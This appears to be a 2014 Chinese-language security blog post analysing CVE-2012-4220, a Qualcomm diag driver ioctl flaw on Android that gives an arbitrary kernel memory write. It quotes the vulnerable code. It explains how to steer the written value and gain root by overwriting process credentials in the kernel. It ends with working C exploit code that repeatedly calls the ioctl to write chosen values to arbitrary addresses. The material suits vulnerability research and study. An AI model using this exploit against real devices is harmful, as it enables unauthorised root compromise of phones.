CVE-2012-4220 exploit for Android
作者:retme 发布时间:March 31, 2014 分类:AndroidSec
这块代码可以在9300中找到
漏洞信息:
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2012-4220
问题出在diag再处理DIAG_IOCTL_GET_DELAYED_RSP_ID这个ioctl时,没有使用copy_to_user
于是uint_16的全局变量 delayed_rsp_id写入用户任意指定的地址,每次可写入0x2~0xffff的两个字节,反复调用即可造成任意地址写的内核漏洞。
} else if (iocmd == DIAG_IOCTL_GET_DELAYED_RSP_ID) {
- struct diagpkt_delay_params *delay_params =
- (struct diagpkt_delay_params *) ioarg;
-
- if ((delay_params->rsp_ptr) &&
- (delay_params->size == sizeof(delayed_rsp_id)) &&
- (delay_params->num_bytes_ptr)) {
- *((uint16_t *)delay_params->rsp_ptr) =
- DIAGPKT_NEXT_DELAYED_RSP_ID(delayed_rsp_id);
- *(delay_params->num_bytes_ptr) = sizeof(delayed_rsp_id);
success = 0;
}
如何利用:
这个漏洞里面,要将delay_params->rsp_ptr 设置为希望写入的地址,而希望写入的值利用delayed_rsp_id的值进行
如何控制delayed_rsp_id :
上文中DIAGPKT_NEXT_DELAYED_RSP_ID这个宏,每调用一次,delayed_rsp_id便会+1 所以调用(value_we_want - origin_delayed_rsp_id)次,就能将delayed_rsp_id设置为我们想要的值
如果我们想要的值比 origin_delayed_rsp_id要大,那么可以利用如下这一句:
*(delay_params->num_bytes_ptr) = sizeof(delayed_rsp_id);
如果这样写 *(delayed_rsp_id_addr) = sizeof(delayed_rsp_id); 就可以将地址重置为0x2
如何提权:
因为只有能写,不能读。那么丑陋一点的话,可以DKOM,给tusk_struct里面自己的uid pid都填0
static bool
inject_value(struct diag_values *data,
int fd, void *delayed_rsp_id_address)
{
uint16_t delayed_rsp_id_value = 0;
int i, loop_count, ret;
//send ioctl to get origin delayed_rsp_id
//by DIAG_IOCTL_GET_DELAYED_RSP_ID
//we save it
ret = get_current_delayed_rsp_id(fd);
if (ret < 0) {
return false;
}
delayed_rsp_id_value = ret;
data->original_value = delayed_rsp_id_value;
//current value in kernel is too big,reset it
//write delayed_rsp_id_size to *delayed_rsp_id,
//id has been set to 2 here
//
//sorry to say:delayed_rsp_id_address is a hardcode
if (delayed_rsp_id_value > data->value &&
reset_delayed_rsp_id(fd, delayed_rsp_id_address) < 0) {
return false;
}
//let delayed_rsp_id add to the data->value we want,and set to
loop_count = (data->value - delayed_rsp_id_value) & 0xffff;
for (i = 0; i < loop_count; i++) {
int unused;
if (send_delay_params(fd, (void *)data->address, &unused) < 0) {
return false;
}
}
return true;
}
评论已关闭